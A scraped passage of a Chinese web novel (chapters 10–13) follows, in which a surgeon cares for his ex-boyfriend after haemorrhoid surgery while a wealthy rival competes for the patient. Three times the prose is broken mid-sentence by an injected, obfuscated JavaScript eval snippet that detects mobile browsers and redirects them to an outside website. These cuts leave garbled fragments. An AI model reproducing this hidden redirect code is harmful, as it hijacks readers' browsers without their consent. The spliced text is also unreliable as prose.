杨子轩蔫了巴唧的,苦着一张脸,问言叙:“言哥,你实话实说,韩大夫是不是打你了?” “嗯?”言叙震惊,“怎么会?” 杨子轩像是松了很大一口气,整个人瞬间欢实起来。 “那就好,那就好!我还以为我要失恋了呢。” 言叙被他这跳跃的逻辑搞得有些晕,“你谈恋爱了?” 杨子轩捂着半边嘴,脸上幸福洋溢,凑近言叙耳边:“我单方面和韩大夫恋爱啦!” 年轻人的感情单纯,直白,热烈,全然不考虑年龄、家世、经济条件。 “韩大夫......”言叙犹豫了一下,问道,“是单身吗?” 杨子轩猛地抬头,惊疑不定地看着言叙。 “糟糕,忘了问了!”杨子轩说。 正好护士来给言叙拔针,杨子轩问:“姐姐,你知道韩大夫是不是单身吗?” 护士踮脚把空了的药瓶取下来,放在小推车上,笑着说:“这我可不知道,不过之前有一次韩大夫请假,好像说是他儿子病了,我也不确定。” “他都有儿子了?”杨子轩不可置信。 “谁知道呢,也没人敢问啊。”护士无奈摊摊手,推着小车走了。 杨子轩的脑回路也是没谁了,他郁闷地说:“我还这么小,就要给人当后爸了吗?” 言叙愣在原地,看起来没什么反应。 直到杨子轩大惊小怪地叫起来:“言哥,你的手流血啦!” 言叙乍然回神,发现他摁着针眼的手不知道什么时候挪了位置,血在手背上洇开一小片,快要流到床单上了。 他把手翻转了个方向,让血液往回流,不要滴到白床单上,然后侧身抽了张纸,在有血迹的地方擦了擦。 言叙心中莫名升起一阵烦躁,手指不自觉对碾。 他烟瘾犯了。 这些年他烟瘾越来越大,有时候一天一包都不够。 下定决心戒烟还是那天从医院看完诊回去以后,尽管心绪繁杂,但还是强忍着没有抽烟。 二十多天没抽,他觉得自己身上的烟味都已经淡得快没有了,本以为这就算戒了,但此刻那种抓心挠肝的感觉提醒着他,戒烟哪有那么容易。 “言哥,言哥!” “怎么了?”言叙有些失神地躺在床上,被杨子轩硬生生拉回现实。 “你手机响了!”杨子轩指指他放在枕头内侧的手机。 言叙这才听到熟悉的铃声,于是拿起手机,拇指按下“停止”键。 杨子轩好奇问:“不接吗?” 言叙把手机放回枕头边:“闹铃,不是电话。” “哦——”杨子轩拖着声调,看了下时间,11点11分,“言哥,平时不会这个点儿起床吧?” 言叙上晚班,昼夜颠倒,平时这个时候睡得正沉。 言叙“嗯”了一声,没有解释。 只不过,闹铃响后,他抽烟的欲望更加强烈了。 - 张博右手捏着韩翊行工作证的一角,往左手手心里拍了几下,斜靠在韩翊行办公桌上,居高临下地睨视着韩翊行。 “说说吧韩医生,”张博跟审犯人似的,“你的工作证是怎么掉到患者床上内侧的呢?” 韩翊行懒得看他,没什么耐心地说:“不知道。” “不知道你不敢自己去找?还得让我给你跑一趟,”张博啧了两声,“你是不是想对小叙叙做什么来着?从实招来。” “在病房里呢,能做什么?”韩翊行看张博的目光仿佛在关爱弱智。 “这么说,要是不在病房里,就要做?” 韩翊行剜他一眼,夺过自己的工作证,夹在白大褂上。 “哎哎哎,”张博用手背拍打韩翊行肩侧,“说真的,你们俩还有没有可能,那个词叫什么来着?重温旧梦?” 韩翊行拉着脸:“重温什么旧梦。” “你看不上人家了?”张博坐在韩翊行桌子上,捏捏下巴,“我看小叙叙挺好的,当年拿走你的钱,说不定有什么误会。” 韩翊行不说话,张博自顾自说道:“你这些年也没谈过,我还以为你一直对前任念念不忘呢。” 韩翊行目光落在桌子上,手指抠着豆绿色的护眼桌垫。 “他可能,已经有人了。” 张博瞪大眼睛:“真的假的?你确定吗?” “我听到有人给他打电话,叫他‘宝贝儿’。” 还有个事韩翊行没说,就是之前言叙来门诊那次,他嘴唇似乎被人咬破了。 “那没准儿就只是朋友之间的一种口癖呢,我看咱们科的女医生女护士都互相叫‘亲爱的’。” 张博接着说:“要是他真有人,那他现在都住院了,那人连面都没露过,那说明感情也不怎么样嘛,正好把他抢回来。” “除非.......” “除非什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305479|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”韩翊行问。 “除非你嫌弃人家跟别人交往过?”张博问。 “没有。”韩翊行看起来有些烦躁。 “加油吧!少年!”张博拍了拍韩翊行肩膀,“我去主任那一趟,问问我那论文怎么样了。” 张博从桌子上跳下来,朝门走去,突然想起什么,回头说:“对了,行政的同事发了个在线调查问卷,你记得填一下,我发你微信上了。” “知道了。” 韩翊行打开《2024年度宁城三院行政工作满意度调查问卷(匿名版)》,脑中闪过刚才言叙看到他手上疤痕时脸上那担忧的神色。 韩翊行阅人无数,他知道,那种下意识的心疼,是绝对装不出来的。 - 言叙去走廊尽头的露台上抽了根烟,扶着栏杆站了一会儿。 今天有些阴天,风大,言叙身上的热乎气很快被吹散了,他裹了裹羽绒服,回了病房。 他回去的时候,沈暮已经做完检查在床上躺下了。 杨子轩在地上站着,还有一个陌生高大的男人站在他床边。 男人把一箱蒸汽眼罩放杨子轩床尾桌上,“30个,够不够?不够我再买。” 听起来没什么耐心。 “够了。”杨子轩说。 “你什么时候出院?没听说过住院还有瘾的。”男人说话没什么好声气。 “再住几天呗,以防万一嘛。”杨子轩扯了扯男人的衣袖,“小叔叔,我都住院20多天了,你才来看我3次,每次就待几分钟。” “不是还琴姐给你送饭呢?”男人冷淡地说:“公司里还有事。你要是那么喜欢住在这儿,我去找院长给你办个包年VIP。” 说完,男人拎起包要走,转头正好看见站在门口的言叙。 男人的目光直直落在言叙身上,言叙被盯得有些不自在。 “你好,我是杨子轩的小叔叔,杨屿安。”语气温和,令人如沐春风,他朝言叙伸出手。 言叙礼貌地笑了一下,跟他握了下手,“言叙。”便朝自己的病床走去。 “言先生!” 言叙回头,正看见韩翊行推门进来。 “有什么事吗杨先生?”言叙疑惑问道。 “韩大夫好。”杨屿安不得不先和他侄子的主治医生打个招呼。 韩翊行朝他点头示意。 杨屿安朝言叙走过去:“言先生,子轩一个人住这,我实在不放心,但我公司又忙,脱不开身,我能加您个微信吗?要是子轩在这边有什么事,能麻烦您告诉我一声吗?” 看着杨屿安满含希冀的目光,说的又是杨子轩的事,言叙没理由拒绝,于是说:“好啊。” 说着,低头解锁手机,打开自己的微信:“手机有点卡,稍等一下。” “没问题!”杨屿安等待言叙打开二维码的间隙,自我反省道:“我一个32岁的单身汉,照顾子轩这么大个孩子,有时候实在不知道该从何下手,是我不好,没照顾好他,我以后会抽时间多过来的。” 这一套说下来,也是惊得杨子轩目瞪口呆的,他抬起手在杨屿安眼前晃了晃:“小叔叔,你要是被附身了就眨眨眼!” 杨屿安难掩嫌弃地把他的手挥开。 言叙不知道他跟自己说这个干吗,只是尴尬地站在那里。 二维码好不容易出来了,言叙刚要递给杨屿安,只听门口传来一个声音。 “言叙!”韩翊行声线森寒,似乎带着磨牙吮血的凶残。 言叙被硬控两秒钟。 韩翊行长腿两步迈到言叙身边,半边身子挡住言叙的手机屏幕,周身气场压迫感十足,语气中带着十成十的不耐烦。 “裤子脱了趴床上,做个指检。” 言叙:“啊???” 11. 第11章 不止是言叙,整个病房的空气都被短暂冻结了。 “现在吗?就在这里?”言叙试探地问。 “对,就在这。”韩翊行指了指言叙的病床,“趴上去。” 言叙尬在原地。 韩翊行冷声说:“闲杂人等请回避一下。” 杨屿安不见尴尬,笑得仍然温文有礼:“那我先不打扰了,回见。” 韩翊行嗤了一声,“刺啦”把隔断帘拉上。 杨屿安走出病房,杨子轩和沈暮躺在自己病床上不敢说话。 隔断帘把言叙床边围出一个小空间,像极了当年在韩翊行的课堂上被简易屏风隔挡出来的空间。 那时候,韩翊行说“学弟,麻烦你把衣服撩起来”的时候,还带着点少年的羞涩。 如今让言叙脱kuzi的压迫感,不知道的还以为要搞强制爱。 “嘶——”言叙不由自主地发出声音,实在是太疼了。 言叙一阵头皮发麻。 “放松。”身后传来韩翊行沉缓的声音。 言叙心中暗叫:怎么可能放松得了? 这次检查,颇费了一些时间。 做完后,韩翊行摘下一次性手套扔进垃圾筒,冷然道:“目前看没什么问题,一会儿再去抽个血,明天上午7点手术。” 言叙照着小地瓜上的攻略,准备了一些物品,洗头洗澡,从晚上开始就不能吃东西了。 9点左右,韩翊行来病房一趟,说以后晚上不许关灯,睡不着的可以戴眼罩。 韩翊行走后,杨子轩还和沈暮嘀咕,说韩大夫这两天怎么白班夜班连轴转。 韩翊行这天晚上没值夜班,但也没回家,医院可以洗澡,他在这边也放了换洗的衣服。 洗漱完在监控室放了个折叠床,就这么睡了一晚上。半夜醒了几次,看了看监控里一切正常,便又睡着了。 第二天5点多言叙就要做术前准备,备皮,灌肠,虽然不太舒服,但总体来说也不算太难捱。 侧躺在手术台上,麻醉师在腰部给言叙注射麻药,针头扎进去的时候,言叙微不可察地“嘶”了一声。 麻醉师打完后,笑着问:“紧张吗?” 言叙能听到韩翊行在自己身后戴一次性橡胶手套的声音,不自觉地抬了抬唇角:“我相信韩大夫的医术。” 言叙感觉自己好像是听到了韩翊行的一声轻笑,不知道是不是麻药扩散带来的错觉。 痔疮切除手术对韩翊行来说,大概就跟言叙做十以内加减法那么简单。 从言叙被推进手术室到回病房,满打满算才用了半个小时。 痔疮手术虽然简单,但术后的痛苦却堪比十大酷刑。 麻药劲儿过后,言叙绝望地想,前天大出血直接死了,也比现在好。 他从小就怕疼,如今这疼痛程度,就好像他之前所受的所有痛苦加起来再翻几倍。 除了疼,还有各种不便,他在思索自己一个人能不能扛得过去。 请个护工一天要300块,还是算了。 病房里的三个病号都在输液,杨子轩把昨天杨屿安带来的蒸汽眼罩给他们俩分了些,手就没那么凉了。 中午,杨屿安来了,拎着大包小包。 进病房后,敷衍地问了问杨子轩的情况,便转向言叙,温声问他疼不疼,哪里不舒服。 杨屿安说:“我给你带了些鸡蛋,牛奶,草莓,对术后恢复补充营养很好的。” 杨子轩都惊呆了:“小叔叔,我做完手术你怎么没给我带?” 杨屿安说:“不是让琴姨给你买了吗?”便不理他了。 言叙有些受宠若惊,但又疼得没那么多精力客套,只是说:“太客气了杨先生,还是给子轩吃吧。” 杨屿安不顾推辞,把水果放他床头。 “小言,你做完手术还没吃饭吧?”杨屿安又拿来一个保温饭盒,有好几层,“我给你带了点菜,红烧茄子,香菇芹菜,做得很清淡,你尝尝。” “杨先生,不用......” 言叙正费力推辞,病房门被推开。 韩翊行没有穿白大褂,穿了件咖色毛衣,黑色长裤,手里拎了个小袋子。 杨子轩惊异道:“韩大夫,你怎么忘穿白大褂了?虽然你这么穿简直帅爆了!” 韩翊行说:“今天我休息。”便关了门,走向病房内侧。 他走到言叙床边,瞥了眼杨屿安放在床尾桌上的菜,冷淡道:“他不喜欢吃芹菜,而且对茄子过敏。” 言叙怔了一下。 吃变态辣火锅那天,韩翊行给他夹了茄盒,他只吃了一个,后来陪韩翊行输液的时候,他身上开始痒,起小红疹。 韩翊行给他买了抗敏药膏,挤在自己手指腹上,一点一点给他涂在发红发痒的皮肤上。 然后,韩翊行吓坏了,因为他看到言叙的整张脸都红得厉害,以为他产生了严重过敏反应,非要拉他去医院。 韩翊行问他,明知道自己茄子过敏为什么还要吃。 言叙有些不好意思地说:“学长给夹的......不能浪费。” 杨屿安听到韩翊行的话,眼睛眯了眯。 两个病床之间的缝隙本来就窄,两个大男人都在那,连身子都错不开。 空气里弥漫着诡谲的对峙感。 杨子轩说:“韩大夫,你怎么知道言哥不喜欢吃什么?你们以前就认识啊?” 韩翊行不说话,目光落在言叙脸上。 杨子轩目光转向言叙求助。 言叙斟酌半天,说道:“我和韩大夫以前......是一个学校的同学。” “哇噻!怎么没听你说过呢!”杨子轩压抑不住地惊奇道,“所以韩大夫今天赶早给你做了手术,然后特意安排今天休息来照顾你啊?” 言叙怎么回答呢?他根本就不知道啊。 正在犯愁,只听韩翊行淡淡地“嗯”了一声。 杨子轩看得出韩翊行想进去,但他那没眼力见儿的小叔叔非要挡在那儿。 于是喊道:“小叔叔!你能给我削个苹果吗?” 杨屿安说:“自己削。” 杨子轩耍赖:“我不会削啊,你赶紧给我削一个,我都渴死了!” 杨屿安无奈,站起身走向床尾那侧的桌子,拿了个苹果给杨子轩削起来。 一边削苹果,一边嘲讽:“这也不会,那也不会,你毕业以后能干什么?” 韩翊行冷哼一声,安慰杨子轩道:“没事,什么都不会,还当老板啊。” 杨子轩哈哈笑:“我小叔叔就是老板,我以后也要当老板,哈哈哈。” 杨屿安脸色变了变。 削好苹果,拿给杨子轩,但目光却隔着杨子轩的病床落在韩翊行身上。 “说起来,还不知道韩大夫是哪个学校毕业的,不会是4+4吧?” 韩翊行面色阴沉了些。 言叙一个头两个大,这两个人到底在干吗?医生跟患者家属之间哪来那么多莫名其妙的敌意? 医患关系已经紧张到如此程度了吗? 言叙费力用右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305480|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧胳膊肘撑起身子,准备下床。 韩翊行和杨屿安同时出声:“怎么了?” 言叙有些尴尬:“......我想上厕所。” 韩翊行:“我扶你。” 杨屿安:“我扶你。” 两人又同时站在了床侧,只不过这次,韩翊行在床头的位置,杨屿安在床尾的位置。 他们两个同时把手伸向了言叙。 言叙想找个地缝钻进去! 他现在身体痛得厉害,走路都成问题,更何况还输着液,需要举着药瓶。 若不是他现在急着上厕所,他肯定不会把自己卷入这修罗地狱般的终极二选一。 一边是自己的前男友加主治医生,一边是才见过两次面的陌生人。 “韩大夫,那就麻烦你了。”言叙不得不做出了最终选择,反正他最近在韩翊行面前该出的丑也都已经出得差不多了,也不在乎多这一次了。 韩翊行微微侧头,瞥了杨屿安一眼,杨屿安耸耸肩,倒退着让开。 韩翊行左胳膊绕到言叙背后,把他上身托起来,双腿垂到床边,自己穿了拖鞋。 站起来之后比想象中的还要痛苦,言叙感觉自己都没办法独自站立,半边身子紧紧贴在韩翊行身上。 还好韩翊行手臂力气大,把他托得稳稳的,另一只手取下输液瓶,高高举过头顶。 确认针头没有移位,药液滴速正常,才扶着言叙,一步一步朝卫生间走去。 从床铺到卫生间,总共也就10步路,言叙感觉自己走了得有两分钟。 韩翊行很有耐心,没有催促,只是慢慢地在身侧陪着,随着他走路的动作调整自己搂抱的力道。 好不容易走到卫生间,更大的困难出现了:他尿不出来。 术后第一次排尿本来就很困难,现在韩翊行还站在他旁边,buff简直叠满了。 言叙急得出了一脑门汗。 韩翊行在一旁指导:“深吸一口气,放松括约肌。” 言叙依言照做,尿出来了一点点。 后来,韩翊行把洗手池的水龙头打开,有一些轻微的“哗啦哗啦”的声音。 言叙歪头靠在墙上,有亿点点社死。 韩翊行轻哂一声,压低声音问:“需不需要我给你吹口哨?” “不用了!” 费了九牛二虎之力,总算是解决完了。 言叙整理自己的衣服。 地方太窄,韩翊行举着输液瓶先一步退出去,言叙这才缓缓转身,开始往外挪。 “小心。” 韩翊行的提醒还没落地,言叙就被地板上的一个小凸起绊了一下。 其实就是为了防滑,地板做成了凹凸不平的样式,本来平时走路不会有什么,但此时言叙全身软绵绵,脚也抬不起来,一个不注意,被绊了一下。 言叙眼前一黑,直直向前趴下去。 他并没有摔到地上,韩翊行用自己的身躯挡住了他。 二人面对面,胸膛紧密地贴合。 言叙那个部位传来的疼痛让言叙几近休克几秒钟。 韩翊行也没有动,搂紧他的腰,让他不至于滑下去。 不知过了多久,言叙的疼痛感淡了下去,才意识到他们现在是一个什么样的姿势。 他想挣扎着自己站直,韩翊行箍在他腰间的手臂却紧了紧。 言叙的脸埋在韩翊行胸前,闷闷地叫了声:“韩大夫?” 韩翊行低沉沙哑的嗓音响起在言叙耳畔:“就只是一个学校的同学吗?” 12. 第12章 言叙的耳朵蓦地烧起来。 “言哥,你没事吧!”杨子轩在外边呼喊,算起来他们进去挺长时间了,他有些担心。 “没事!”言叙回得有气无力,他现在实在太虚弱了。 好在韩翊行没有继续为难他,松开腰间的手,像进来时候一样,扶着言叙出去了。 言叙躺回床上,韩翊行把他安顿好,又打开他拎过来的那个袋子。 “喝点小米粥。”韩翊行说。 “我......”言叙为难道,“我现在没法喝。” 他现在液还没输完,也没法坐起来。 韩翊行端过粥碗,拿起勺子舀了一勺,放在唇边吹了吹:“张嘴。” 杨子轩酸了,一个病房就仨人,刚开始韩翊行只是对沈暮好,他至少还有个伴儿,现在韩大夫对言叙比对沈暮还好。 他愤愤地瞪了杨屿安一眼,心说,叔侄两个,一个比一个没用! 韩翊行手里端着小米粥,瞥了眼床尾桌上杨屿安带来的菜,故意道:“红烧茄子要不要来点?不吃就浪费了。” 这人就非得让言叙为难。 言叙只能说:“不用了,还是让杨总带回去吧。” “扔了吧。”杨屿安大步走出病房。 输完液,杨子轩又跑出去直播了。 沈暮安静地躺在那里,没什么存在感,只是时不时瞥一眼韩翊行,又看看言叙,似乎想起了什么,嘴角露出一个了然的微笑。 韩翊行毕竟是专业的,隔多长时间该换药还是坐浴还是什么其他的,都给言叙安排得明明白白。 没聊私事,二人看起来,就像是患者和护工的关系。 液输完没多久,言叙的手机又响起来。他赶紧关掉闹钟,把手机塞到枕头底下。 韩翊行记起来,前段时间言叙第一次来门诊那天,差不多也是这个时间,闹铃响起来了。 他也没有多问,言叙睡着的空档,小声跟沈暮说,他的检查结果出来了,各项数据都很好。 沈暮的声音里是掩饰不住的喜悦,他说:“谢谢韩大夫。” 韩翊行在病房待到晚上6点多,天已经黑透了。 喂言叙吃完晚饭,他说:“我得走了。” 也是,下班时间都到了,况且人家韩大夫今天本来就休息,还来他这当了一天的义工,言叙白捡的便宜应该偷着乐才对。 可是听到这话,言叙心底还是冒出一丝失落。 他笑着说:“辛苦韩大夫了,等我好了请你吃饭。” 无非就是个客套,他给钱韩翊行肯定不会要,就算请吃饭人家那么忙,大概率也不会去。 韩翊行笑笑,没说什么。 去更衣室拿外套,正碰上张博也下班。 “今天回家?”张博问。 “嗯。” “也是,再不回去,你儿子该不认识你了。”张博笑着说,“不过,你这会儿不怕人趁你不在偷偷跑了?” 韩翊行哼笑一声,“想跑也跑不动。” 张博哈哈大笑起来。 做完手术第一天,走路都费劲,更别提跑了。 “你呀你呀!心机boy。”张博指着韩翊行说,“那今天晚上他自己在这儿你放心吗?” 韩翊行说:“我回家拿两件衣服,一会儿还回来。” 张博啧啧两声,摇头说:“以院为家,吾辈楷模啊!” 韩翊行回到家,在玄关换拖鞋,叫了两声“奥利奥”,没有听到回应。 他四处找了找,发现奥利奥趴在冰箱顶上,有些戒备地睨视着他。 奥利奥是一只奶牛猫,标准的奶牛猫长相,脑袋是黑的,眼睛周围是黑的,从鼻子到嘴巴又是白的,黑背白肚皮,黑腿白袜子。 唯一有点特征性的,就是他还长了个黑鼻头。 韩翊行抬手摸了摸奥利奥的头,奥利奥本能抗拒地头往后仰。然后在他手上嗅了嗅,“嗷嗷”叫了两声,站起来做了个猫拱背,二连跳跳到地上,前腿站起来趴在韩翊行腿上。 韩翊行有点稀奇:“今天怎么学会黏人了?” 韩翊行刚把奥利奥抱回来的时候,它才两个月大,是个活泼机敏的小家伙。 看到什么东西移动,都要扑上去。 有一次,看到二人在床上交叠着身体上下颠簸时,还扑过来抓言叙跳动的头发。 言叙被它搞得直接破功,笑得不行,实在做不下去了,韩翊行只能咬着牙草草了事。 后来,韩翊行每次都得先把卧室门上锁才安心。 没多久,言叙走了,奥利奥就像被带走了三魂五魄,没那么活泼了。 韩翊行工作或者看书,他就趴在旁边陪着,但韩翊行要是抱它,那可就不行了,使劲挣扎着也要跳下来。 今天奥利奥有点反常,前腿趴在韩翊行身上,还一直“喵呜喵呜”地叫着,俨然是个求抱抱的姿势。 韩翊行弯腰把它抱起来,奥利奥边叫着边往他怀里钻,卖力地嗅闻着什么。 韩翊行恍然大悟,大手在猫身上撸了几把,像是自言自语地问:“你也想念他身上的味道了是不是?” 奥利奥喉间发出舒服的呼噜声,在他身上蹭来蹭去。 韩翊行有些受宠若惊,本想快速地洗个澡收拾两件衣服就回医院的,现在忍不住多抱了一会儿。 他抱着猫坐到沙发上,从茶几抽屉里拿出一盒猫罐头。 他弯腰的动作触发了一个感应装置,茶几上的一个高大约有30厘米的人形机器人眼睛亮了亮,冒出红光,然后左膝跪地,右腿弯曲支着,两只手交叠着作揖,头还微微低下,嘴倒是没张开,不过发出了一个声音尖尖细细的机械音:韩大夫吉祥。 俺然是清宫剧里给皇上请安的小太监姿态。 机器人的脸部虽然有些丑陋,但脖颈、胳膊、腿部的关节却十分灵活,一举一动都很像是一个迷你版的小人儿。 韩翊行手里抱着猫,目光落在机器人身上。 几秒钟后,机器人灵活地站立起来,恢复了之前的站姿,看起来有些呆。 “言叙,”他唤了一声,机器人的声控装置触发,眼睛冒出绿光,像是在努力倾听。 “你还走吗?”韩翊行问。 机器人没有接到正确的指令,没有作出任何反应,几秒后,眼睛里的绿光熄灭了。 从言叙把这个机器人送给韩翊行的那天,言叙就告诉他,这个机器人有一个隐形的彩蛋。 它只能识别一个语音指令。 言叙没有告诉他的是,他希望机器人永远都不会识别到这个指令。 韩翊行试了无数次,在叫“言叙”两个字的时候,机器人眼睛会冒绿光,说明唤起词是对的,但真正的指令是什么呢? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305481|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我想你,我爱你,你在哪儿,下雪了,天亮了,新年快乐,能想到的,韩翊行基本上都试过了,可是却没有一个是对的。 有的指令明知道是错的,韩翊行却固执地重复试了无数次。 韩翊行把猫罐头打开,放到地板上,奥利奥跳到地上去吃。 他从柜子里取了个干净的杯子,倒了杯水,喝了两口,随手放在茶几上。 又拿粘毛器把身上的猫毛粘干净,脱衣服进了浴室。 这个澡,韩翊行洗了挺长时间的。 裹好浴袍出来,边走边用左手捏着右胳膊上有些酸痛的肌肉。 来到客厅,韩翊行看到奥利奥站在茶几上,正喝他杯子里的水。 韩翊行顿住脚步,不发出声音,等猫咪心满意足地喝够了,才长腿迈上前,在奥利奥的头上揉了两把,然后端起水杯去厨房,把水倒掉,打开水龙头随便冲了两下,又把杯子放回柜子里。 从衣柜里找了套衣服穿上,从另一个房间里又拿了另外两件,装到袋子里。 奥利奥趴在他洗澡前穿的那套衣服上,眯着眼。 韩翊行想临走之前再抱抱它,奥利奥在他怀里待不过3秒,急着跳下去趴回原处。 猫没抱到还粘了一身猫毛。 - 韩翊行回到医院的时候,刚9点。 病房里的三个人准备睡了。很听话的是,没有关灯。 三个人看到韩翊行回来,都挺震惊的。 杨子轩问:“韩大夫,你不会今天要值夜班吧?” 韩翊行说:“不值夜班,陪夜。” 杨子轩酸溜溜地说:“当韩大夫的同学可真幸福。” 韩翊行笑笑没说话。 他从监控室把折叠床搬过来。 这间病房细长,一头并排摆了三张病床,另一头还有较大空间,足够再横着放一张折叠床了。 韩翊行把折叠床摆得稍微斜了一点,方便他一抬头就能看到言叙的情况。 折叠床弄好了,韩翊行和衣躺了上去。 韩翊行身材高大,躺在又短又窄的折叠床上看起来很是憋屈。 “睡吧。”韩翊行对着三个看着他的人说。 杨子轩和沈暮戴好眼罩,躺回枕头上。 言叙没有戴眼罩,屋里亮如白昼,而且他白天睡过了,现在一点也不困。 但是歪着头看韩翊行好像还挺奇怪的。 他朝外侧躺着。 被子隆起,挡住他的视线。 韩翊行那边一点动静都没有。 就算另两个人不在,他也不知道能跟韩翊行说点什么,何况另外两个病号都睡下了,他再发出任何声音吵到别人就不好了。 言叙躺了一会儿,毫无睡意。 他悄悄伸出手,把被子往下压了压,自信声音很小,连杨子轩都听不到。 他微微把头离开枕头一点,做贼似的偷偷朝韩翊行那边看过去,却正撞进韩翊行沉沉的注视里。 韩翊行面向他这边侧身躺着,被子盖到胸口,两只胳膊露在外面。 头枕在弯曲的左臂上,右手向前抬起,手指虚蜷着,拇指在食指指侧第一关节处轻轻碾了两下。 分明是在跟他说:再看要收费了。 言叙偷看被抓包,窘得立马缩回脖子躺到枕头上,拉起被子盖住下半张脸,脸上热意上涌。 13. 第13章 在韩翊行的悉心照料下,言叙第二天早上已经能自己下床走路,虽然走得很慢,但不至于像昨天一样需要贴在韩翊行身上才能走。 他早上醒后第一件事,就是去洗脸刷牙,整了整头发。 没想到,杨屿安7点就来了。 杨子轩刚睡醒,迷迷糊糊地说:“小叔叔,你怎么又来了。” 杨屿安“嗯”了一声,看都没看他。 韩翊行冷声说:“杨总最近出现的频率有点高啊。” “我亲侄子在住院,我来看他不是很正常?”杨屿安边说边把自己带的饭盒打开,在言叙床尾桌上铺了张纸,把菜摆上去,“我给你们带了早饭。” “我的呢?”杨子轩一脸莫名其妙,说是来看他的,饭菜都摆别人那,说这是亲叔叔有人信? 杨屿安拿来的是多层保温饭盒,上面两层分别是炒菠菜,虾仁炒油菜,他把这两层放到言叙桌上。 第三层是一半炒菠菜,一半炒油菜,像是装盒剩下的菜随便混在一起,杨屿安直接放到杨子轩桌子上。 最下边一层是4个白水煮蛋。 汤碗里是西红柿鸡蛋汤,只有一碗,他放在了言叙床头,给杨子轩了一杯从外面买的豆浆。 韩翊行看明白了,这人来这么早,就是趁他还没出去买饭,来截胡的。 “趁热吃吧小言。”杨屿安微笑着对言叙说。 言叙拿不定主意,求助地看向韩翊行。 韩翊行脸色不太好看,但他现在两手空空,没办法凭空变出一份早餐。更何况杨屿安这次带的饭,还是挺利于言叙术后恢复的。 韩翊行抱着手臂立在床尾,冷淡地对言叙说:“还不快谢谢人家杨总。” 言叙赶紧说:“谢谢杨总。” 刚刚洗漱完没躺回床上,言叙站在床边。 他其实并不饿,但是盛情难却,只得拿起一个白水煮蛋,指腹一触上去,被烫了一下,赶紧缩回手。 杨屿安注视着他的一举一动,赶紧说:“我来给你剥。” “不用,”言叙推辞,“真的不用,杨总,我自己可以。” 见他坚持,杨屿安只得退到一边。 言叙拿起一个鸡蛋,在桌上磕碎外壳,指尖烫得有些发红。 他突然就想起之前和韩翊行住在一起的时候,有一次早晨也是剥鸡蛋被烫了手。 他赶紧扑到韩翊行身前,手指捏住了他的耳垂,微仰着下巴朝他笑。 然后他上课就迟到了。 言叙早餐吃得不多,没什么胃口是一方面,另一方面,被两个身形高大气场慑人的男人虎视眈眈地盯着,他觉得他吃的不是早餐,他才是早餐。 病房里的气氛迷之尴尬,言叙吃完饭,看了一眼韩翊行冷沉沉的面容,恳切地对杨屿安说:“杨总,谢谢你的早餐,不过,以后真的不用给我带了,我今天就可以下楼自己买了。” 言叙说着,目光不自觉瞟了韩翊行一眼,见他的脸色稍稍缓和了些,心里暗暗松了一口气。 杨屿安顿了顿,说道:“如果让你为难的话,我就不带了。” 韩翊行冷哼一声,目光不经意地看向窗外。 杨屿安收拾餐盒,言叙赶紧上前帮忙,忙乱中手臂难免碰到一起。 韩翊行不耐烦地说:“言叙,换药了。” “哦!”言叙刚要把垫在桌子上的纸卷起来扔垃圾筒,便看到纸上赫然写着几个大字:第三届机器人格斗大赛,一等奖奖金20万—— 下面是一些赛事介绍。 一边是韩翊行的催促,一边是他感兴趣的东西。 他想把纸留在桌上等一会儿再看看,但是纸上已经沾了很多水渍,皱皱巴巴的,眼看杨屿安就要把它扔掉。 言叙正在犹豫,就听杨屿安说:“你对这个比赛感兴趣?” “想了解一下。”言叙说。 杨屿安笑着说:“我这里有更详细的资料,还有往年的比赛视频。” 言叙眼睛亮了亮。 杨屿安说:“加我微信,我发给你。” “好啊,太谢谢你了杨总!”言叙拿起自己手机,点开扫一扫。 杨屿安打开自己的二维码,递过去让言叙扫,侧头瞥了韩翊行一眼。 韩翊行不屑地转身看着窗外。 “韩老师!主任叫你查房了!”叶成推门喊道,笑着朝言叙招了招手。 韩翊行说:“三分钟。”然后目光看向言叙。 言叙猛然想起刚才韩翊行说的给他换药,于是说:“我自己可以的......” 韩翊行冷冷道:“过来。”便朝卫生间走去。 言叙只得悻悻地跟了过去。 和昨天晚上换药相比,这次简直就是粗暴。 言叙趴回床上,拿起手机看杨屿安给他发的资料。 杨屿安搬把椅子坐在床边,跟他介绍:“这是去年夺得冠亚季军的三个人,据说这个冠军今年又报名了。” 言叙问:“报名截止日期是什么时候?” 杨屿安手指在言叙屏幕上划了划,拉到最下边,“2月20号,还有一个月,比赛是在今年6月27日......” 查房的大部队就是这时候进来的。 主任在最前面,韩翊行和其他几个医生紧随其后,队尾坠的是几个实习生。 无非就是问问有没有不舒服,有需要就按铃。 